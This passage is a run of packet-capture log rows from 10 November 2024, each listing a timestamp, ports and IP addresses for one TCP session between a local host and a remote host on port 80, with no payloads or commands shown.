Nov 10, 2024 19:44:22.421700001 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.421708107 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.421717882 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.421730042 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.421745062 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.421751976 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.421767950 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.421772957 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.421781063 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.421791077 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.421801090 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.421814919 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.421819925 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.421834946 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.421843052 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.421855927 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.421861887 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.421875954 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.421881914 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.421896935 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.421901941 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.421911001 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.421919107 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.421927929 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.421933889 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.421952009 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.421961069 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.421967983 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.421979904 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.421993017 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.421998024 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.422008038 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.422013998 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.422019958 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.422074080 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.422096014 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.422106028 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.422116041 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.422126055 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.422133923 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.422162056 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.422247887 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.422261953 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.422280073 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.422286987 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.422298908 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.422307968 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.422319889 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.422332048 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.422353029 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.422395945 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.422405958 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.422424078 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.422431946 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.422440052 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.422454119 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.422470093 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.422537088 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.422545910 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.422563076 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.422573090 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.422583103 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.422596931 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.422624111 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.422704935 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.422714949 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.422734022 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.422744036 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.422753096 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.422780991 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.510698080 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.510709047 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.510777950 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.510852098 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.510862112 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.510891914 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.530607939 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.530618906 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.530639887 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.530661106 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.530679941 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.530774117 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.530786037 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.530816078 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.530833960 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.531733990 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.531776905 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.531783104 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.531795979 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.531811953 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.531831026 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.532011986 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.532021999 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.532038927 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.532047033 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.532053947 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.532073021 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.532079935 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.532094002 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.532103062 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.532113075 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.532125950 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.532130957 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.532141924 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.532147884 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.532159090 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.532167912 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.532175064 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.532187939 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.532198906 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.532218933 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.532330036 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.532370090 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.532486916 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.532497883 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.532512903 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.532521009 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.532547951 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.532672882 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.532687902 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.532733917 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.532929897 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.532968044 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.533117056 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.533128023 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.533164978 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.533173084 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.533571005 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.533620119 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.533683062 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.533701897 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.533713102 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.533735991 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.533766985 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.533878088 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.533890009 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.533911943 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.533929110 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.534358978 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.534410000 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.534501076 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.534512997 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.534531116 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.534542084 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.534552097 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.534560919 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.534568071 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.534581900 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.534586906 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.534601927 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.534612894 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.534650087 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.534658909 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.534677029 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.534687996 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.534696102 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.534713030 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.536003113 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.536012888 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.536032915 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.536041975 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.536053896 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.536062002 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.536072016 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.536079884 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.536091089 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.536101103 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.536111116 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.536120892 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.536142111 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.536149979 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.536168098 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.536178112 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.536195993 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.536202908 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.536214113 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.536221027 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.536228895 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.536240101 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.536246061 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.536257982 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.536267042 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.536277056 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.536286116 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.536297083 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.536308050 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.536331892 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.536336899 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.536348104 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.536360025 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.536374092 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.536381960 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.536395073 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.536398888 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.536407948 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.536416054 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.536428928 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.536433935 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.536448956 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.536464930 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.536470890 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.536484003 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.536492109 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.536504984 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.536525965 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.536531925 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.536545992 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.536554098 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.536566019 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.536571980 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.536580086 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.536606073 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.536623001 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.536631107 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.536648989 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.536655903 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.536667109 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.536674023 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.536684036 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.536693096 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.536704063 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.536720037 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.536758900 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.536767006 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.536789894 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.536802053 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.536931038 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.536941051 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.536963940 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.536969900 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.536981106 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.536988974 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.536998987 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.537007093 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.537018061 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.537024975 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.537034035 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.537050009 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.537067890 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.537075996 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.537094116 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.537101030 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.537115097 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.537127018 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.537132978 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.537149906 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.537153959 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.537162066 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.537174940 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.537194967 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.537231922 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.537240982 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.537260056 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.537266016 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.537278891 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.537286043 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.537301064 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.537306070 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.537316084 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.537322998 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.537343979 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.537379980 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.537388086 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.537405014 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.537415028 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.537421942 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.537435055 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.537441015 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.537457943 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.537480116 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.537527084 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.537534952 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.537559032 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.537569046 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.537672043 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.537683964 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.537702084 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.537712097 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.537719965 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.537729979 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.537736893 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.537745953 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.537756920 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.537765980 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.537776947 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.537785053 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.537792921 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.537806988 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.537822962 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.537830114 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.537869930 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.538003922 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.538014889 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.538053989 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.538175106 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.538184881 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.538203955 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.538216114 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.538222075 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.538237095 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.538243055 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.538252115 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.538263083 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.538283110 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.538337946 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.538348913 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.538367033 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.538373947 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.538382053 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.538391113 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.538403988 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.538410902 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.538424969 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.538433075 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.538440943 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.538450956 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.538459063 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.538480043 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.538484097 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.538494110 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.538515091 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.538520098 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.538532972 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.538539886 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.538552999 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.538557053 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.538569927 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.538577080 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.538583994 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.538604975 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.538768053 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.538777113 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.538795948 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.538803101 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.538822889 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.538850069 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:22.538923979 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.538933992 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.538953066 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:22.538965940 CET	80	49753	185.215.113.206	192.168.2.4
